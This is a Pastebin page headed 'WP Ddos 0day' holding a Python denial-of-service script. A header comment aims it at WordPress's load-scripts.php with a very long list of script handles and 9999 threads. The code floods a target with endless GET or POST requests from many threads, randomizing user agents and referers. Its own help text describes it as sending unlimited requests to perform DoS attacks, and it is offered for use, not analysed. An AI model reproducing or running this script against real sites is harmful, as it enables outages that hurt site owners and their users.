API tools faq
paste
Advertisement
Joker0day

WP Ddos 0day

Joker0day
Feb 7th, 2018
278
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 7.39 KB | None | 0 0
raw download clone embed print report
  1. # EDB Note: python doser.py -g 'http://localhost/wp-admin/load-scripts.php?c=1&load%5B%5D=eutil,common,wp-a11y,sack,quicktag,colorpicker,editor,wp-fullscreen-stu,wp-ajax-response,wp-api-request,wp-pointer,autosave,heartbeat,wp-auth-check,wp-lists,prototype,scriptaculous-root,scriptaculous-builder,scriptaculous-dragdrop,scriptaculous-effects,scriptaculous-slider,scriptaculous-sound,scriptaculous-controls,scriptaculous,cropper,jquery,jquery-core,jquery-migrate,jquery-ui-core,jquery-effects-core,jquery-effects-blind,jquery-effects-bounce,jquery-effects-clip,jquery-effects-drop,jquery-effects-explode,jquery-effects-fade,jquery-effects-fold,jquery-effects-highlight,jquery-effects-puff,jquery-effects-pulsate,jquery-effects-scale,jquery-effects-shake,jquery-effects-size,jquery-effects-slide,jquery-effects-transfer,jquery-ui-accordion,jquery-ui-autocomplete,jquery-ui-button,jquery-ui-datepicker,jquery-ui-dialog,jquery-ui-draggable,jquery-ui-droppable,jquery-ui-menu,jquery-ui-mouse,jquery-ui-position,jquery-ui-progressbar,jquery-ui-resizable,jquery-ui-selectable,jquery-ui-selectmenu,jquery-ui-slider,jquery-ui-sortable,jquery-ui-spinner,jquery-ui-tabs,jquery-ui-tooltip,jquery-ui-widget,jquery-form,jquery-color,schedule,jquery-query,jquery-serialize-object,jquery-hotkeys,jquery-table-hotkeys,jquery-touch-punch,suggest,imagesloaded,masonry,jquery-masonry,thickbox,jcrop,swfobject,moxiejs,plupload,plupload-handlers,wp-plupload,swfupload,swfupload-all,swfupload-handlers,comment-repl,json2,underscore,backbone,wp-util,wp-sanitize,wp-backbone,revisions,imgareaselect,mediaelement,mediaelement-core,mediaelement-migrat,mediaelement-vimeo,wp-mediaelement,wp-codemirror,csslint,jshint,esprima,jsonlint,htmlhint,htmlhint-kses,code-editor,wp-theme-plugin-editor,wp-playlist,zxcvbn-async,password-strength-meter,user-profile,language-chooser,user-suggest,admin-ba,wplink,wpdialogs,word-coun,media-upload,hoverIntent,customize-base,customize-loader,customize-preview,customize-models,customize-views,customize-controls,customize-selective-refresh,customize-widgets,customize-preview-widgets,customize-nav-menus,customize-preview-nav-menus,wp-custom-header,accordion,shortcode,media-models,wp-embe,media-views,media-editor,media-audiovideo,mce-view,wp-api,admin-tags,admin-comments,xfn,postbox,tags-box,tags-suggest,post,editor-expand,link,comment,admin-gallery,admin-widgets,media-widgets,media-audio-widget,media-image-widget,media-gallery-widget,media-video-widget,text-widgets,custom-html-widgets,theme,inline-edit-post,inline-edit-tax,plugin-install,updates,farbtastic,iris,wp-color-picker,dashboard,list-revision,media-grid,media,image-edit,set-post-thumbnail,nav-menu,custom-header,custom-background,media-gallery,svg-painter&ver=4.9' -t 9999
  2.  
  3.  
  4. import requests
  5. import sys
  6. import threading
  7. import random
  8. import re
  9. import argparse
  10.  
  11. host=''
  12. headers_useragents=[]
  13. request_counter=0
  14. printedMsgs = []
  15.  
  16. def printMsg(msg):
  17.     if msg not in printedMsgs:
  18.         print "\n"+msg + " after %i requests" % request_counter
  19.     printedMsgs.append(msg)
  20.  
  21. def useragent_list():
  22.     global headers_useragents
  23.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  24.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  25.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  26.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  27.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  28.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  29.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  30.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  31.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  32.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  33.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  34.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  35.     return(headers_useragents)
  36.    
  37. def randomString(size):
  38.     out_str = ''
  39.     for i in range(0, size):
  40.         a = random.randint(65, 90)
  41.         out_str += chr(a)
  42.     return(out_str)
  43.  
  44. def initHeaders():
  45.     useragent_list()
  46.     global headers_useragents, additionalHeaders
  47.     headers = {
  48.                 'User-Agent': random.choice(headers_useragents),
  49.                 'Cache-Control': 'no-cache',
  50.                 'Accept-Charset': 'ISO-8859-1,utf-8;q=0.7,*;q=0.7',
  51.                 'Referer': "http://www.google.com/?q=" + randomString(random.randint(5,10)),
  52.                 'Keep-Alive': random.randint(110,120),
  53.                 'Connection': 'keep-alive'
  54.                 }
  55.  
  56.     if additionalHeaders:
  57.         for header in additionalHeaders:
  58.             headers.update({header.split(":")[0]:header.split(":")[1]})
  59.     return headers
  60.  
  61. def handleStatusCodes(status_code):
  62.     global request_counter
  63.     sys.stdout.write("\rNumber of requests sent %i" % request_counter)
  64.     sys.stdout.flush()
  65.     if status_code == 429:
  66.             printMsg("You have been throttled")
  67.     if status_code == 500:
  68.         printedMsg("Status code 500 received")
  69.  
  70. def sendGET(url):
  71.     global request_counter
  72.     headers = initHeaders()
  73.     try:
  74.         request_counter+=1
  75.         request = requests.get(url, headers=headers)
  76.         handleStatusCodes(request.status_code)
  77.  
  78.     except e:
  79.         pass
  80.  
  81. def sendPOST(url, payload):
  82.     global request_counter
  83.     headers = initHeaders()
  84.     try:
  85.         request_counter+=1
  86.         if payload:
  87.             request = requests.post(url, data=payload, headers=headers)
  88.         else:
  89.             request = requests.post(url, headers=headers)
  90.         handleStatusCodes(request.status_code)
  91.        
  92.     except e:
  93.         pass
  94.  
  95. class SendGETThread(threading.Thread):
  96.     def run(self):
  97.         try:
  98.             while True:
  99.                 global url
  100.                 sendGET(url)
  101.         except:
  102.             pass
  103.  
  104. class SendPOSTThread(threading.Thread):
  105.     def run(self):
  106.         try:
  107.             while True:
  108.                 global url, payload
  109.                 sendPOST(url, payload)
  110.         except:
  111.             pass
  112.  
  113.  
  114. # TODO:
  115. # check if the site stop responding and alert
  116.  
  117. def main(argv):
  118.     parser = argparse.ArgumentParser(description='Sending unlimited amount of requests in order to perform DoS attacks. Written by Barak Tawily')
  119.     parser.add_argument('-g', help='Specify GET request. Usage: -g \'<url>\'')
  120.     parser.add_argument('-p', help='Specify POST request. Usage: -p \'<url>\'')
  121.     parser.add_argument('-d', help='Specify data payload for POST request', default=None)
  122.     parser.add_argument('-ah', help='Specify addtional header/s. Usage: -ah \'Content-type: application/json\' \'User-Agent: Doser\'', default=None, nargs='*')
  123.     parser.add_argument('-t', help='Specify number of threads to be used', default=500, type=int)
  124.     args = parser.parse_args()
  125.  
  126.     global url, payload, additionalHeaders
  127.     additionalHeaders = args.ah
  128.     payload = args.d
  129.  
  130.     if args.g:
  131.         url = args.g
  132.         for i in range(args.t):
  133.             t = SendGETThread()
  134.             t.start()
  135.  
  136.     if args.p:
  137.         url = args.p
  138.         for i in range(args.t):
  139.             t = SendPOSTThread()
  140.             t.start()
  141.    
  142.     if len(sys.argv)==1:
  143.         parser.print_help()
  144.         exit()
  145.    
  146. if __name__ == "__main__":
  147.    main(sys.argv[1:])
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!